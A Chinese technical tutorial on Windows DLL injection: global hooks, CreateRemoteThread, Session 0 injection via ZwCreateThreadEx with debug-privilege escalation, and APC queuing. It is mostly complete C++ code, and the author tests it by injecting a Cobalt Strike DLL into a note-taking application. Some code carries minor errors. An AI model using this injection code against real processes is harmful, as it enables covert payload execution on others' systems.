技術 | DLL注入常用的幾種方式整理
全局鉤子注入
在Windows大部分應用都是基于消息機制,他們都擁有一個消息過程函數,根據不同消息完成不同功能,windows通過鉤子機制來截獲和監視系統中的這些消息。一般鉤子分局部鉤子與全局鉤子,局部鉤子一般用于某個線程,而全局鉤子一般通過dll文件實現相應的鉤子函數。
核心函數
SetWindowsHookEx
HHOOK WINAPI SetWindowsHookEx( __in int idHook, \\鉤子類型 __in HOOKPROC lpfn, \\回調函數地址 __in HINSTANCE hMod, \\實例句柄 __in DWORD dwThreadId); \\線程ID
通過設定鉤子類型與回調函數的地址,將定義的鉤子函數安裝到掛鉤鏈中。如果函數成功返回鉤子的句柄,如果函數失敗,則返回NULL
實現原理
由上述介紹可以知道如果創建的是全局鉤子,那么鉤子函數必須在一個DLL中。這是因為進程的地址空間是獨立的,發生對應事件的進程不能調用其他進程地址空間的鉤子函數。如果鉤子函數的實現代碼在DLL中,則在對應事件發生時,系統會把這個DLL加較到發生事體的進程地址空間中,使它能夠調用鉤子函數進行處理。
在操作系統中安裝全局鉤子后,只要進程接收到可以發出鉤子的消息,全局鉤子的DLL文件就會由操作系統自動或強行地加載到該進程中。因此,設置全局鉤子可以達到DLL注入的目的。創建一個全局鉤子后,在對應事件發生的時候,系統就會把 DLL加載到發生事件的進程中,這樣,便實現了DLL注入。
為了能夠讓DLL注入到所有的進程中,程序設置WH_GETMESSAGE 消息的全局鉤子。因為WH_GETMESSAGE類型的鉤子會監視消息隊列,并且 Windows系統是基于消息驅動的,所以所有進程都會有自己的一個消息隊列,都會加載 WH_GETMESSAGE 類型的全局鉤子DLL。
那么設置WH_GETMESSAGE就可以通過以下代碼實現,記得加上判斷是否設置成功
// 設置全局鉤子
BOOL SetHook()
{
g_Hook = ::SetWindowsHookEx(WH_GETMESSAGE, (HOOKPROC)GetMsgProc, g_hDllMoudle, 0);
if(g_Hook == NULL)
{
return FALSE;
}
return TRUE;
}
這里第二個參數是回調函數,那么我們還需要寫一個回調函數的實現,這里就需要用到CallNextHookEx這個api,主要是第一個參數,這里傳入鉤子的句柄的話,就會把當前鉤子傳遞給下一個鉤子,若參數傳入0則對鉤子進行攔截
// 鉤子回調函數
LRESULT GetMsgProc(int code, WPARAM wParam, LPARAM lParam)
{
return::CallNextHookEx(g_Hook, code, wParam, lParam);
}
既然我們寫入了鉤子,如果不使用的情況下就需要將鉤子卸載掉,那么這里使用到UnhookWindowsHookEx這個api來卸載鉤子
// 卸載鉤子
BOOL UnsetHook()
{
if(g_Hook)
{
::UnhookWindowsHookEx(g_Hook);
}
}
既然我們使用到了SetWindowsHookEx這個api,就需要進行進程間的通信,進程通信的方法有很多,比如自定義消息、管道、dll共享節、共享內存等等,這里就用共享內存來實現進程通信
// 共享內存
#pragma data_seg("mydata")
HHOOK g_hHook = NULL;
#pragma data_seg()
#pragma comment(linker, "/SECTION:mydata,RWS"
實現過程
首先新建一個dll

在pch.h頭文件里面聲明這幾個我們定義的函數都是裸函數,由我們自己平衡堆棧
extern"C" _declspec(dllexport) intSetHook(); extern"C" _declspec(dllexport) LRESULT GetMsgProc(int code, WPARAM wParam, LPARAM lParam); extern"C" _declspec(dllexport) BOOL UnsetHook();

然后在pch.cpp里面寫入三個函數并創建共享內存
// pch.cpp: 與預編譯標頭對應的源文件
#include"pch.h"
#include
#include
extern HMODULE g_hDllModule;
// 共享內存
#pragma data_seg("mydata")
HHOOK g_hHook = NULL;
#pragma data_seg()
#pragma comment(linker, "/SECTION:mydata,RWS")
//鉤子回調函數
LRESULT GetMsgProc(int code, WPARAM wParam, LPARAM lParam) {
return::CallNextHookEx(g_hHook, code, wParam, lParam);
}
// 設置鉤子
BOOL SetHook() {
g_hHook = SetWindowsHookEx(WH_GETMESSAGE, (HOOKPROC)GetMsgProc, g_hDllModule, 0);
if(NULL == g_hHook) {
return FALSE;
}
return TRUE;
}
// 卸載鉤子
BOOL UnsetHook() {
if(g_hHook) {
UnhookWindowsHookEx(g_hHook);
}
return TRUE;
}

然后再在dllmain.cpp設置DLL_PROCESS_ATTACH,然后編譯生成Golbal.dll
// dllmain.cpp : 定義 DLL 應用程序的入口點。
#include"pch.h"
HMODULE g_hDllModule = NULL;
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch(ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
g_hDllModule = hModule;
break;
}
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

再創建一個控制臺項目

使用LoadLibrabryW加載dll,生成GolbalInjectDll.cpp文件
// GolbalInjectDll.cpp : 此文件包含 "main" 函數。程序執行將在此處開始并結束。
//
#include
#include
int main()
{
typedef BOOL(*typedef_SetGlobalHook)();
typedef BOOL(*typedef_UnsetGlobalHook)();
HMODULE hDll = NULL;
typedef_SetGlobalHook SetGlobalHook= NULL;
typedef_UnsetGlobalHook UnsetGlobalHook= NULL;
BOOL bRet = FALSE;
do
{
hDll = ::LoadLibraryW(TEXT("F:\\C++\\GolbalDll\\Debug\\GolbalDll.dll"));
if(NULL == hDll)
{
printf("LoadLibrary Error[%d]", ::GetLastError());
break;
}
SetGlobalHook= (typedef_SetGlobalHook)::GetProcAddress(hDll, "SetHook");
if(NULL == SetGlobalHook)
{
printf("GetProcAddress Error[%d]", ::GetLastError());
break;
}
bRet = SetGlobalHook();
if(bRet)
{
printf("SetGlobalHook OK.");
}
else
{
printf("SetGlobalHook ERROR.");
}
system("pause");
UnsetGlobalHook= (typedef_UnsetGlobalHook)::GetProcAddress(hDll, "UnsetHook");
if(NULL == UnsetGlobalHook)
{
printf("GetProcAddress Error[%d]", ::GetLastError());
break;
}
UnsetGlobalHook();
printf("UnsetGlobalHook OK.");
} while(FALSE);
system("pause");
return0;
}
執行即可注入GolbalDll.dll


遠程線程注入
遠程線程函數顧名思義,指一個進程在另一個進程中創建線程。
核心函數
CreateRemoteThread
HANDLE CreateRemoteThread( HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId );
lpStartAddress:A pointer to the application-defined function of type LPTHREAD_START_ROUTINE to be executed by the thread and represents the starting address of the thread in the remote process. The function must exist in the remote process. For more information, see ThreadProc.
lpParameter:A pointer to a variable to be passed to the thread function.
lpStartAddress即線程函數,使用LoadLibrary的地址作為線程函數地址;lpParameter為線程函數參數,使用dll路徑作為參數
VirtualAllocEx
是在指定進程的虛擬空間保留或提交內存區域,除非指定MEM_RESET參數,否則將該內存區域置0。
LPVOID VirtualAllocEx( HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect );
hProcess:申請內存所在的進程句柄
lpAddress:保留頁面的內存地址;一般用NULL自動分配 。
dwSize:欲分配的內存大小,字節單位;注意實際分 配的內存大小是頁內存大小的整數倍。
flAllocationType
可取下列值:
MEM_COMMIT:為特定的頁面區域分配內存中或磁盤的頁面文件中的物理存儲
MEM_PHYSICAL :分配物理內存(僅用于地址窗口擴展內存)
MEM_RESERVE:保留進程的虛擬地址空間,而不分配任何物理存儲。保留頁面可通過繼續調用VirtualAlloc()而被占用
MEM_RESET :指明在內存中由參數lpAddress和dwSize指定的數據無效
MEM_TOP_DOWN:在盡可能高的地址上分配內存(Windows 98忽略此標志)
MEM_WRITE_WATCH:必須與MEM_RESERVE一起指定,使系統跟蹤那些被寫入分配區域的頁面(僅針對Windows 98)
flProtect
可取下列值:
PAGE_READONLY:該區域為只讀。如果應用程序試圖訪問區域中的頁的時候,將會被拒絕訪
PAGE_READWRITE 區域可被應用程序讀寫
PAGE_EXECUTE:區域包含可被系統執行的代碼。試圖讀寫該區域的操作將被拒絕。
PAGE_EXECUTE_READ :區域包含可執行代碼,應用程序可以讀該區域。
PAGE_EXECUTE_READWRITE:區域包含可執行代碼,應用程序可以讀寫該區域。
PAGE_GUARD:區域第一次被訪問時進入一個STATUS_GUARD_PAGE異常,這個標志要和其他保護標志合并使用,表明區域被第一次訪問的權限
PAGE_NOACCESS:任何訪問該區域的操作將被拒絕
PAGE_NOCACHE:RAM中的頁映射到該區域時將不會被微處理器緩存(cached)
注:PAGE_GUARD和PAGE_NOCHACHE標志可以和其他標志合并使用以進一步指定頁的特征。PAGE_GUARD標志指定了一個防護頁(guard page),即當一個頁被提交時會因第一次被訪問而產生一個one-shot異常,接著取得指定的訪問權限。PAGE_NOCACHE防止當它映射到虛擬頁的時候被微處理器緩存。這個標志方便設備驅動使用直接內存訪問方式(DMA)來共享內存塊。
WriteProcessMemory
此函數能寫入某一進程的內存區域(直接寫入會出Access Violation錯誤),故需此函數入口區必須可以訪問,否則操作將失敗。
BOOL WriteProcessMemory( HANDLE hProcess, //進程句柄 LPVOID lpBaseAddress, //寫入的內存首地址 LPCVOID lpBuffer, //要寫數據的指針 SIZE_T nSize, //x SIZE_T *lpNumberOfBytesWritten );
實現原理
使用CreateRemoteThread這個API,首先使用CreateToolhelp32Snapshot拍攝快照獲取pid,然后使用Openprocess打開進程,使用VirtualAllocEx
遠程申請空間,使用WriteProcessMemory寫入數據,再用GetProcAddress獲取LoadLibraryW的地址(由于Windows引入了基址隨機化ASLR安全機制,所以導致每次開機啟動時系統DLL加載基址都不一樣,有些系統dll(kernel,ntdll)的加載地址,允許每次啟動基址可以改變,但是啟動之后必須固定,也就是說兩個不同進程在相互的虛擬內存中,這樣的系統dll地址總是一樣的),在注入進程中創建線程(CreateRemoteThread)
實現過程
首先生成一個dll文件,實現簡單的彈窗即可
// dllmain.cpp : 定義 DLL 應用程序的入口點。
#include"pch.h"
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch(ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
MessageBox(NULL, L"success!", L"Congratulation", MB_OK);
case DLL_THREAD_ATTACH:
MessageBox(NULL, L"success!", L"Congratulation", MB_OK);
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
我們要想進行遠程線程注入,那么就需要得到進程的pid,這里使用到的是CreateToolhelp32Snapshot這個api拍攝快照來進行獲取,注意我這里定義了#include "tchar.h",所有函數都是使用的寬字符
// 通過進程快照獲取PID
DWORD _GetProcessPID(LPCTSTR lpProcessName)
{
DWORD Ret= 0;
PROCESSENTRY32 p32;
HANDLE lpSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if(lpSnapshot == INVALID_HANDLE_VALUE)
{
printf("獲取進程快照失敗,請重試! Error:%d", ::GetLastError());
returnRet;
}
p32.dwSize = sizeof(PROCESSENTRY32);
::Process32First(lpSnapshot, &p32);
do{
if(!lstrcmp(p32.szExeFile, lpProcessName))
{
Ret= p32.th32ProcessID;
break;
}
} while(::Process32Next(lpSnapshot, &p32));
::CloseHandle(lpSnapshot);
returnRet;
}
首先使用OpenProcess打開進程
hprocess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, _Pid);
然后使用VirtualAllocEx遠程申請空間
pAllocMemory = ::VirtualAllocEx(hprocess, NULL, _Size, MEM_COMMIT, PAGE_READWRITE);
然后寫入內存,使用WriteProcessMemory
Write= ::WriteProcessMemory(hprocess, pAllocMemory, DllName, _Size, NULL);
然后創建線程并等待線程函數結束,這里WaitForSingleObject的第二個參數要設置為-1才能夠一直等待
//在另一個進程中創建線程 hThread = ::CreateRemoteThread(hprocess, NULL, 0, addr, pAllocMemory, 0, NULL); //等待線程函數結束,獲得退出碼 WaitForSingleObject(hThread, -1); GetExitCodeThread(hThread, &DllAddr);
綜上完整代碼如下
// RemoteThreadInject.cpp : 此文件包含 "main" 函數。程序執行將在此處開始并結束。
//
#include
#include
#include
#include"tchar.h"
char string_inject[] = "F:\\C++\\Inject\\Inject\\Debug\\Inject.dll";
//通過進程快照獲取PID
DWORD _GetProcessPID(LPCTSTR lpProcessName)
{
DWORD Ret= 0;
PROCESSENTRY32 p32;
HANDLE lpSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if(lpSnapshot == INVALID_HANDLE_VALUE)
{
printf("獲取進程快照失敗,請重試! Error:%d", ::GetLastError());
returnRet;
}
p32.dwSize = sizeof(PROCESSENTRY32);
::Process32First(lpSnapshot, &p32);
do{
if(!lstrcmp(p32.szExeFile, lpProcessName))
{
Ret= p32.th32ProcessID;
break;
}
} while(::Process32Next(lpSnapshot, &p32));
::CloseHandle(lpSnapshot);
returnRet;
}
//打開一個進程并為其創建一個線程
DWORD _RemoteThreadInject(DWORD _Pid, LPCWSTR DllName)
{
//打開進程
HANDLE hprocess;
HANDLE hThread;
DWORD _Size= 0;
BOOL Write= 0;
LPVOID pAllocMemory = NULL;
DWORD DllAddr= 0;
FARPROC pThread;
hprocess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, _Pid);
//Size = sizeof(string_inject);
_Size= (_tcslen(DllName) + 1) * sizeof(TCHAR);
//遠程申請空間
pAllocMemory = ::VirtualAllocEx(hprocess, NULL, _Size, MEM_COMMIT, PAGE_READWRITE);
if(pAllocMemory == NULL)
{
printf("VirtualAllocEx - Error!");
return FALSE;
}
// 寫入內存
Write= ::WriteProcessMemory(hprocess, pAllocMemory, DllName, _Size, NULL);
if(Write== FALSE)
{
printf("WriteProcessMemory - Error!");
return FALSE;
}
//獲取LoadLibrary的地址
pThread = ::GetProcAddress(::GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");
LPTHREAD_START_ROUTINE addr = (LPTHREAD_START_ROUTINE)pThread;
//在另一個進程中創建線程
hThread = ::CreateRemoteThread(hprocess, NULL, 0, addr, pAllocMemory, 0, NULL);
if(hThread == NULL)
{
printf("CreateRemoteThread - Error!");
return FALSE;1
}
//等待線程函數結束,獲得退出碼
WaitForSingleObject(hThread, -1);
GetExitCodeThread(hThread, &DllAddr);
//釋放DLL空間
VirtualFreeEx(hprocess, pAllocMemory, _Size, MEM_DECOMMIT);
//關閉線程句柄
::CloseHandle(hprocess);
return TRUE;
}
int main()
{
DWORD PID = _GetProcessPID(L"test.exe");
_RemoteThreadInject(PID, L"F:\\C++\\Inject\\Inject\\Debug\\Inject.dll");
}
然后這里生成一個test.exe來做測試

編譯并運行,實現效果如下
圖片幀數太大,請復制下面鏈接到瀏覽器查看

https://cdn.jsdelivr.net/gh/filess/img19@main/2021/10/04/1633344130766-5f514a3d-00ff-4ae8-baff-104d0a708907.gif
突破session 0的遠程線程注入
首先提一提session0的概念:
Intel的CPU將特權級別分為4個級別:RING0,RING1,RING2,RING3。Windows只使用其中的兩個級別RING0和RING3,RING0只給操作系統用,RING3誰都能用。如果普通應用程序企圖執行RING0指令,則Windows會顯示“非法指令”錯誤信息。
ring0是指CPU的運行級別,ring0是最高級別,ring1次之,ring2更次之…… 拿Linux+x86來說, 操作系統(內核)的代碼運行在最高運行級別ring0上,可以使用特權指令,控制中斷、修改頁表、訪問設備等等。應用程序的代碼運行在最低運行級別上ring3上,不能做受控操作。如果要做,比如要訪問磁盤,寫文件,那就要通過執行系統調用(函數),執行系統調用的時候,CPU的運行級別會發生從ring3到ring0的切換,并跳轉到系統調用對應的內核代碼位置執行,這樣內核就為你完成了設備訪問,完成之后再從ring0返回ring3。這個過程也稱作用戶態和內核態的切換。
RING設計的初衷是將系統權限與程序分離出來,使之能夠讓OS更好的管理當前系統資源,也使得系統更加穩定。舉個RING權限的最簡單的例子:一個停止響應的應用程式,它運行在比RING0更低的指令環上,你不必大費周章的想著如何使系統回復運作,這期間,只需要啟動任務管理器便能輕松終止它,因為它運行在比程式更低的RING0指令環中,擁有更高的權限,可以直接影響到RING0以上運行的程序,當然有利就有弊,RING保證了系統穩定運行的同時,也產生了一些十分麻煩的問題。比如一些OS虛擬化技術,在處理RING指令環時便遇到了麻煩,系統是運行在RING0指令環上的,但是虛擬的OS畢竟也是一個系統,也需要與系統相匹配的權限。而RING0不允許出現多個OS同時運行在上面,最早的解決辦法便是使用虛擬機,把OS當成一個程序來運行。
核心函數
ZwCreateThreadEx
注意一下這個地方ZwCreateThreadEx這個函數在32位和64位中的定義不同
在32位的情況下
DWORD WINAPI ZwCreateThreadEx(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
BOOL CreateSuspended,
DWORD dwStackSize,
DWORD dw1,
DWORD dw2,
LPVOID pUnkown);
在64位的情況下
DWORD WINAPI ZwCreateThreadEx(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
ULONG CreateThreadFlags,
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaximumStackSize,
LPVOID pUnkown);
這里因為我們要進到session 0那么就勢必要到system權限,所以這里還有幾個提權需要用到的函數
OpenProcessToken
BOOL OpenProcessToken( __in HANDLE ProcessHandle, //要修改訪問權限的進程句柄 __in DWORD DesiredAccess, //指定你要進行的操作類型 __out PHANDLE TokenHandle//返回的訪問令牌指針 );
LookupPrivilegeValueA
BOOL LookupPrivilegeValueA( LPCSTR lpSystemName, //要查看的系統,本地系統直接用NULL LPCSTR lpName, //指向一個以零結尾的字符串,指定特權的名稱 PLUID lpLuid //用來接收所返回的制定特權名稱的信息 );
AdjustTokenPrivileges
BOOL AdjustTokenPrivileges( HANDLE TokenHandle, //包含特權的句柄 BOOL DisableAllPrivileges,//禁用所有權限標志 PTOKEN_PRIVILEGES NewState,//新特權信息的指針(結構體) DWORD BufferLength, //緩沖數據大小,以字節為單位的PreviousState的緩存區(sizeof) PTOKEN_PRIVILEGES PreviousState,//接收被改變特權當前狀態的Buffer PDWORD ReturnLength//接收PreviousState緩存區要求的大小 );
實現原理
ZwCreateThreadEx 比 CreateRemoteThread函數更為底層,CreateRemoteThread函數最終是通過調用ZwCreateThreadEx函數實現遠線程創建的。
通過調用CreateRemoteThread 函數創建遠線程的方式在內核6.0(Windows VISTA、7、8等)以前是完全沒有問題的,但是在內核6.0 以后引入了會話隔離機制。它在創建一個進程之后并不立即運行,而是先掛起進程,在查看要運行的進程所在的會話層之后再決定是否恢復進程運行。
在Windows XP、Windows Server 2003,以及更老版本的Windows操作系統中,服務和應用程序使用相同的會話(Session)運行,而這個會話是由第一個登錄到控制臺的用戶啟動的。該會話就叫做Session 0,如下圖所示,在Windows Vista之前,Session 0不僅包含服務,也包含標準用戶應用程序。

將服務和用戶應用程序一起在Session 0中運行會導致安全風險,因為服務會使用提升后的權限運行,而用戶應用程序使用用戶特權(大部分都是非管理員用戶)運行,這會使得惡意軟件以某個服務為攻擊目標,通過“劫持”該服務,達到提升自己權限級別的目的。
從Windows Vista開始,只有服務可以托管到Session 0中,用戶應用程序和服務之間會被隔離,并需要運行在用戶登錄到系統時創建的后續會話中。例如第一個登錄的用戶創建 Session 1,第二個登錄的用戶創建Session 2,以此類推,如下圖所示。

使用CreateRemoteThread注入失敗DLL失敗的關鍵在第七個參數CreateThreadFlags, 他會導致線程創建完成后一直掛起無法恢復進程運行,導致注入失敗。而想要注冊成功,把該參數的值改為0即可。
實現過程
在win10系統下如果我們要注入系統權限的exe,就需要使用到debug調試權限,所以先寫一個提權函數。
// 提權函數
BOOL EnableDebugPrivilege()
{
HANDLE hToken;
BOOL fOk = FALSE;
if(OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
{
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount= 1;
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
tp.Privileges[0].Attributes= SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
fOk = (GetLastError() == ERROR_SUCCESS);
CloseHandle(hToken);
}
return fOk;
}
在進程注入dll的過程中,是不能夠使用MessageBox的,系統程序不能夠顯示程序的窗體,所以這里編寫一個ShowError函數來獲取錯誤碼
voidShowError(constchar* pszText)
{
char szError[MAX_PATH] = { 0};
::wsprintf(szError, "%s Error[%d]", pszText, ::GetLastError());
::MessageBox(NULL, szError, "ERROR", MB_OK);
}
首先打開進程獲取句柄,使用到OpenProcess
hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
然后是在注入的進程申請內存地址,使用到VirtualAllocEx
pDllAddr = ::VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
再使用WriteProcessMemory寫入內存
WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize, NULL)
加載ntdll,獲取LoadLibraryA函數地址
HMODULE hNtdllDll = ::LoadLibrary("ntdll.dll");
pFuncProcAddr = ::GetProcAddress(::GetModuleHandle("Kernel32.dll"), "LoadLibraryA");
獲取ZwCreateThreadEx函數地址
typedef_ZwCreateThreadEx ZwCreateThreadEx= (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdllDll, "ZwCreateThreadEx");
使用 ZwCreateThreadEx 創建遠線程, 實現 DLL 注入
dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, 0, 0, 0, NULL);
這里還有一點需要注意的是ZwCreateThreadEx 在 ntdll.dll 中并沒有聲明,所以我們需要使用 GetProcAddress 從 ntdll.dll 中獲取該函數的導出地址
這里加上ZwCreateThreadEx的定義,因為64位、32位結構不同,所以都需要進行定義
#ifdef _WIN64
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
ULONG CreateThreadFlags,
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaximumStackSize,
LPVOID pUnkown);
#else
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
BOOL CreateSuspended,
DWORD dwStackSize,
DWORD dw1,
DWORD dw2,
LPVOID pUnkown);
完整代碼如下
// session0Inject.cpp : 此文件包含 "main" 函數。程序執行將在此處開始并結束。
//
#include
#include
#include
voidShowError(constchar* pszText)
{
char szError[MAX_PATH] = { 0};
::wsprintf(szError, "%s Error[%d]", pszText, ::GetLastError());
::MessageBox(NULL, szError, "ERROR", MB_OK);
}
// 提權函數
BOOL EnableDebugPrivilege()
{
HANDLE hToken;
BOOL fOk = FALSE;
if(OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
{
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount= 1;
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
tp.Privileges[0].Attributes= SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
fOk = (GetLastError() == ERROR_SUCCESS);
CloseHandle(hToken);
}
return fOk;
}
// 使用 ZwCreateThreadEx 實現遠線程注入
BOOL ZwCreateThreadExInjectDll(DWORD PID,constchar* pszDllFileName)
{
HANDLE hProcess = NULL;
SIZE_T dwSize = 0;
LPVOID pDllAddr = NULL;
FARPROC pFuncProcAddr = NULL;
HANDLE hRemoteThread = NULL;
DWORD dwStatus = 0;
EnableDebugPrivilege();
// 打開注入進程,獲取進程句柄
hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
if(hProcess == NULL)
{
printf("OpenProcess - Error!");
return-1;
}
// 在注入的進程申請內存地址
dwSize = ::lstrlen(pszDllFileName) + 1;
pDllAddr = ::VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
if(NULL == pDllAddr)
{
ShowError("VirtualAllocEx - Error!");
return FALSE;
}
//寫入內存地址
if(FALSE == ::WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize, NULL))
{
ShowError("WriteProcessMemory - Error!");
return FALSE;
}
//加載ntdll
HMODULE hNtdllDll = ::LoadLibrary("ntdll.dll");
if(NULL == hNtdllDll)
{
ShowError("LoadLirbary");
return FALSE;
}
// 獲取LoadLibraryA函數地址
pFuncProcAddr = ::GetProcAddress(::GetModuleHandle("Kernel32.dll"), "LoadLibraryA");
if(NULL == pFuncProcAddr)
{
ShowError("GetProcAddress_LoadLibraryA - Error!");
return FALSE;
}
#ifdef _WIN64
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
ULONG CreateThreadFlags,
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaximumStackSize,
LPVOID pUnkown);
#else
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
BOOL CreateSuspended,
DWORD dwStackSize,
DWORD dw1,
DWORD dw2,
LPVOID pUnkown);
#endif
//獲取ZwCreateThreadEx函數地址
typedef_ZwCreateThreadEx ZwCreateThreadEx= (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdllDll, "ZwCreateThreadEx");
if(NULL == ZwCreateThreadEx)
{
ShowError("GetProcAddress_ZwCreateThread - Error!");
return FALSE;
}
// 使用 ZwCreateThreadEx 創建遠線程, 實現 DLL 注入
dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, 0, 0, 0, NULL);
if(NULL == ZwCreateThreadEx)
{
ShowError("ZwCreateThreadEx - Error!");
return FALSE;
}
// 關閉句柄
::CloseHandle(hProcess);
::FreeLibrary(hNtdllDll);
return TRUE;
}
int main(int argc, char* argv[])
{
#ifdef _WIN64
BOOL bRet = ZwCreateThreadExInjectDll(4924, "C:\\Users\\61408\\Desktop\\artifact.dll");
#else
BOOL bRet = ZwCreateThreadExInjectDll(4924, "C:\\Users\\61408\\Desktop\\artifact.dll");
#endif
if(FALSE == bRet)
{
printf("Inject Dll Error!");
}
printf("Inject Dll OK!");
return0;
}
因為在dll注入的過程中是看不到messagebox的,所以這里我選擇cs注入進行測試,若注入成功即可上線
首先生成一個32位的dll文件,這里跟位數有關,我選擇注入的是32位的進程,所以這里我選擇生成32位的dll

得到路徑

這里我選擇的是有道云筆記進行注入,查看一下pid

然后把我們函數的pid改為有道云的pid

實現效果如下所示

APC注入
APC,全稱為Asynchronous Procedure Call,即異步過程調用,是指函數在特定線程中被異步執行,在操作系統中,APC是一種并發機制。
這里去看一下msdn中異步過程調用的解釋如下

首先第一個函數
QueueUserApc: 函數作用,添加制定的異步函數調用(回調函數)到執行的線程的APC隊列中
APCproc: 函數作用: 回調函數的寫法.
往線程APC隊列添加APC,系統會產生一個軟中斷。在線程下一次被調度的時候,就會執行APC函數,APC有兩種形式,由系統產生的APC稱為內核模式APC,由應用程序產生的APC被稱為用戶模式APC。這里介紹一下應用程序的APC,APC是往線程中插入一個回調函數,但是用的APC調用這個回調函數是有條件的,如msdn所示

核心函數
QueueUserAPC
DWORD QueueUserAPC( PAPCFUNCpfnAPC, // APC function HANDLEhThread, // handle to thread ULONG_PTRdwData // APC function parameter );
QueueUserAPC 函數的第一個參數表示執行函數的地址,當開始執行該APC的時候,程序會跳轉到該函數地址處來執行。第二個參數表示插入APC的線程句柄,要求線程句柄必須包含THREAD_SET_CONTEXT 訪問權限。第三個參數表示傳遞給執行函數的參數,與遠線程注入類似,如果QueueUserAPC 的第一個參數為LoadLibraryA,第三個參數設置的是dll路徑即可完成dll注入。
實現原理
在 Windows系統中,每個線程都會維護一個線程 APC隊列,通過QucueUserAPC把一個APC 函數添加到指定線程的APC隊列中。每個線程都有自己的APC隊列,這個 APC隊列記錄了要求線程執行的一些APC函數。Windows系統會發出一個軟中斷去執行這些APC 函數,對于用戶模式下的APC 隊列,當線程處在可警告狀態時才會執行這些APC 函數。一個線程在內部使用SignalObjectAndWait 、 SleepEx、WaitForSingleObjectEx、WaitForMultipleObjectsEx等函數把自己掛起時就是進入可警告狀態,此時便會執行APC隊列函數。
通俗點來概括過程可分為以下幾步:
1)當EXE里某個線程執行到SleepEx()或者WaitForSingleObjectEx()時,系統就會產生一個軟中斷(或者是Messagebox彈窗的時候不點OK的時候也能注入)。2)當線程再次被喚醒時,此線程會首先執行APC隊列中的被注冊的函數。3)利用QueueUserAPC()這個API可以在軟中斷時向線程的APC隊列插入一個函數指針,如果我們插入的是Loadlibrary()執行函數的話,就能達到注入DLL的目的。
但是想要使用apc注入也有以下兩點條件:
1.必須是多線程環境下
2.注入的程序必須會調用那些同步對象
